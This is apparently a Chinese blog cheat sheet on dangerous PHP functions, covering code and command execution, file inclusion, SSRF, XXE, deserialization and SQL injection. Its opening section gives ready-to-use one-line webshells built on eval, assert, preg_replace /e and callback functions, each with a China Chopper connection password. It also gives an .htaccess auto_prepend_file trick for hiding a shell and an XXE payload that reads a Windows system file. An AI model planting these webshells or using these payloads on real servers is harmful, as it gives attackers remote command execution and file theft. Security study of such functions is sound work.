Php 危险函数
getshell函数
-
eval
函数 传入的参数必须为PHP代码,既需要==以分号结尾==。*#命令執行:cmd=system(whoami);* *#菜刀连接密码:cmd* <?php @eval($_POST['cmd']);?>
-
assert
函数*#assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。* *#命令執行:cmd=system(whoami)* *#菜刀连接密码:cmd* <?php @assert($_POST['cmd'])?>
-
preg_replace
函数*#preg_replace('正则规则','替换字符','目标字符')* *#执行命令和上传文件参考assert函数(不需要加分号)。* *#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。* preg_replace("/test/e",$_POST["cmd"],"jutst test");
-
create_function
函数*#创建匿名函数执行代码* *#执行命令和上传文件参考eval函数(必须加分号)。* *#菜刀连接密码:cmd* $func =create_function('',$_POST['cmd']);$func();
-
array_map
函数*#array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。* *#命令执行http://localhost/123.php?func=system cmd=whoami* *#菜刀连接http://localhost/123.php?func=assert 密码:cmd* $func=$_GET['func']; $cmd=$_POST['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); echo $new_array;
-
call_user_func
函数*#传入的参数作为assert函数的参数* *#cmd=system(whoami)* *#菜刀连接密码:cmd* call_user_func("assert",$_POST['cmd']); 或者直接没有参数 call_user_func("phpinfo");
-
call_user_func_array
函数*#将传入的参数作为数组的第一个值传递给assert函数* *#cmd=system(whoami)* *#菜刀连接密码:cmd* $cmd=$_POST['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array);
-
array_filter
函数*#用回调函数过滤数组中的元素:array_filter(数组,函数)* *#命令执行func=system&cmd=whoami* *#菜刀连接http://localhost/123.php?func=assert 密码cmd* $cmd=$_POST['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func);
-
uasort
函数*#php环境>=<5.6才能用* *#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。* *#命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);* *#菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密码:cmd* usort($_GET,'asse'.'rt');
-
写入.htaccess
php_value auto_prepend_file 是用来在页面底部加载文件的 这也是为什么我们要去写入#\ 在文件底部 而#应该是.hatccess文件特有的写入形式,没有的话会直接报错500
它比较灵活,不需要重启服务器,也不需要管理员权限。其格式为php_value 名称 值,在这里写入🐎(以注释的方式),然后在页面顶部加载它(auto_prepend_file)就行:
.htaccess文件的内容:php_value auto_prepend_file .htaccess #
代码执行的危险函数
- eval() 把字符串作为php代码执行
早期php一句话木马都用这个
<?php @eval($_POST['shell']);?>
- assert() 检查一个断言是否为
false
,将字符串作为php代码执行
同样经常被用作一句话木马
<?php assert(@$_POST['shell']); ?>
- preg_replace() 执行正则表达式的搜索和替换
当匹配模式
/e
时,该函数会将$replacement
作为php代码执行
preg_replace("/test/e",$_GET["shell"],"just test");
- create_function() 创建一个匿名函数
跟python的lambda语句类似,在php7.2.0后被废弃
$newfunc = create_function('$v', 'return system($v);');
$newfunc('whoami');
- array_map() 为数组的每个元素应用回调函数
array_map()函数将用户自定义的函数作用到数组中的每个值上,并返回用户自定义函数作用后带有新值的数组,这里相当于一种动态调用
<?php
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
?>
- call_user_func() 把第一个参数作为回调函数调用,其他参数是回调函数的参数
<?php
@call_user_func("assert",$_GET['cmd']);
?>
- call_user_func_array() 调用回调函数,并将第一个数组参数作为回调函数参数
<?php
$cmd=$_GET['cmd'];
$array[0]=$cmd;
@call_user_func_array("assert",$array);
?>
- array_filter() 使用回调函数过滤数组的元素
依次将数组中的每个值传递到callback
函数,如果callback
函数返回true
,则数组的当前值会被包含在返回的结果数组中,数组的键名保留不变
<?php
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
命令执行的危险函数
- system() 执行外部程序,并显示输出
<?php
system($_GET['cmd']);
?>
- exec() 执行外部程序
<?php
echo exec("whoami");
?>
- shell_exec() 通过shell环境执行命令,并将完整的输出以字符串的方式返回
<?php
echo shell_exec("whoami");
?>
- passthru() 执行外部程序并且显示原始输出
<?php
passthru("whoami");
?>
- proc_open() 执行一个命令,并且打开用来输入/输出的文件指针
- pcntl_exec() 在当前进程空间执行指定程序
- popen() 打开进程文件指针
- 反引号,实质上还是调用的
shell_exec()
函数,在CTF题目里面有的时候会忘记过滤导致直接拿到flag
文件包含的危险函数
php中包含的函数一共有四个,主要作用为包含并运行指定文件
- require() 函数
- inclue() 函数
- require_once() 函数
- include_once() 函数
include()
与require_once()
主要的区别是:include()
在包含的过程中如果出现错误,会抛出一个警告,程序继续运行;而require()
函数出现错误时,会直接报错并退出程序的执行
require_once()
和include_once()
,显然表示的是文件只包含一次的意思,避免函数重定义和变量重新赋值等问题
文件包含还分为了本地文件包含和远程文件包含,这里就不再进行赘述
当被包含文件可控的情况下,我们可以包含任意文件,从而达到GetShell的目的,也可以使用filter伪协议读取文件内容,关于php伪协议会在后面的文章进行介绍
SSRF的危险函数
- file_get_contents()
- fsockopen()
- curl_exec()
- fopen()
- readfile()
- … 函数使用不当会造成SSRF漏洞
利用的相关协议:
- file协议: 在有回显的情况下,利用file协议可以读取任意的内容
- dict协议: 泄露安装软件版本信息,查看端口,操作内网redis服务等
- gopher协议: gopher支持发出GET,POST请求,可以通过抓包然后构造成gopher协议的请求
- http/s: 探测内网主机存活
一个简单的file_get_contents()
案例
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
直接在本地环境上测试了,使用file协议读一下system.ini
文件
XXE的危险函数
XXE指XML外部实体注入
当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害
这类漏洞可以根据危险函数逆推回去,危险函数有:
- simplexml_load_string() 转换形式良好的 XML 字符串为 SimpleXMLElement 对象,然后输出对象的键和元素
- asXML()
- simplexml_load_file()
- simplexml_import_dom()
- …
本地搭建一个存在XXE的环境
<?php
error_reporting(0); //禁用外部实体注入 设置为false 相当于不禁用
libxml_disable_entity_loader (false);
//php://input ===> post请求体的内容
$xmlfile = file_get_contents('php://input');
//exit(-1);
//创建一个DOMDocument类型的对象
$dom = new DOMDocument();
//loadXML 从字符串中读取,生成一个DOMDocument类型的对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//var_dump($dom);
//exit(-1);
//把一个DOMDocument类型的对象转发成一个simpleXML类型的对象
$creds = simplexml_import_dom($dom); //因为存在SIMPLEXMLelement存在__toString__魔术方法, //因此可以直接打印
echo $creds;
?>
payload为
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM
"php://filter/read=convert.base64-encode/resource=C:/Windows/system.ini"> ]>
<creds>&goodies;</creds>
成功读取base64加密后的system.ini
文件内容
php防御手段:
设置
libxml_disable_entity_loader
=TRUE来禁用外部实体
文件操作相关函数
文件操作无外乎增删改查
,在不同场景下利用手法不同
- 增,改 : 写入shell相关的内容
- 删 : 删除.lock文件导致CMS重新安装
- 查 读取配置等文件,拿到敏感信息
- …
文件操作的函数有很多:
- unlink() 传入文件名删除文件
- copy() 复制文件
- highlight_file() 对php文件语法高亮显示
- show_source() highlight_file的别名
- file_get_contents()
- fopen()
- parse_ini_file()
- readfile()
- fread()
- …
敏感信息的危险函数
- phpinfo() 输出关于php配置的信息
- getenv() 获取一个环境变量的值
- get_current_user() 获取当前php脚本所有者的名称
- getlastmod() 获取页面最后修改的时间
- ini_get() 获取一个配置选项的值
- glob() 寻找与模式匹配的文件路径
反序列化危险函数
- 序列化函数
serialize()
- 反序列化函数
unserialize()
- php十六个魔术方法,魔术方法命名是以符号__开头的
__construct()
类的构造函数__destruct()
类的析构函数__call()
在对象中调用一个不可访问方法时调用__callStatic()
用静态方式中调用一个不可访问方法时调用__get()
获得一个类的成员变量时调用__set()
设置一个类的成员变量时调用__isset()
当对不可访问属性调用isset()或empty()时调用__unset()
当对不可访问属性调用unset()时被调用。__sleep()
执行serialize()时,先会调用这个函数__wakeup()
执行unserialize()时,先会调用这个函数__toString()
类被当成字符串时的回应方法__invoke()
调用函数的方式调用一个对象时的回应方法__set_state()
调用var_export()导出类时,此静态方法会被调用。__clone()
当对象复制完成时调用__autoload()
尝试加载未定义的类__debugInfo()
打印所需调试信息
关于如何利用反序列化漏洞,取决于应用程序的逻辑、可用的类和魔法方法。
unserialize
的参数用户可控,攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等
SQL注入的危险函数
- mysql_query() 发送一条MySQL查询
- mysql_connect() 打开一个到MySQL服务器的链接
- sprintf() 将格式化的字符串写入变量中
sprintf(format,arg1,arg2,arg++)
arg1
、arg2
、arg++
参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。
注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 “$” 组成。
可以利用sprintf()绕过一些过滤字符的函数,例如在如下场景中
<?php
error_reporting(0);
$name = $_GET['name'];
$name = mysql_escape_string(stripslashes($name));
$sql = sprintf("select * from product where name = '$name' and adddate <= '%s' limit 1",date("Y-m-d H:i:s"));
echo $sql;
?>
- urldecode() 解码已编码的URL字符串
- rawurldecode() 对已编码的URL字符串进行解码
- is_numeric() 判断传入参数是否为字符串
is_numeric()
函数存在插入十六进制字符串到数据库,进而导致SQL二次注入的风险
参考链接
- https://www.freebuf.com/articles/web/269184.html
- https://www.cnblogs.com/xiaozi/p/7834367.html
- https://www.cnblogs.com/xiaozi/p/7831529.html
- https://www.freebuf.com/articles/web/182280.html
- https://segmentfault.com/a/1190000007250604
- https://xz.aliyun.com/t/7405
- https://www.erikten.cn/posts/dcd7a0ad.html
- https://xz.aliyun.com/t/5877
- https://blog.csdn.net/qq1124794084/article/details/104802553
- https://www.freebuf.com/column/231352.html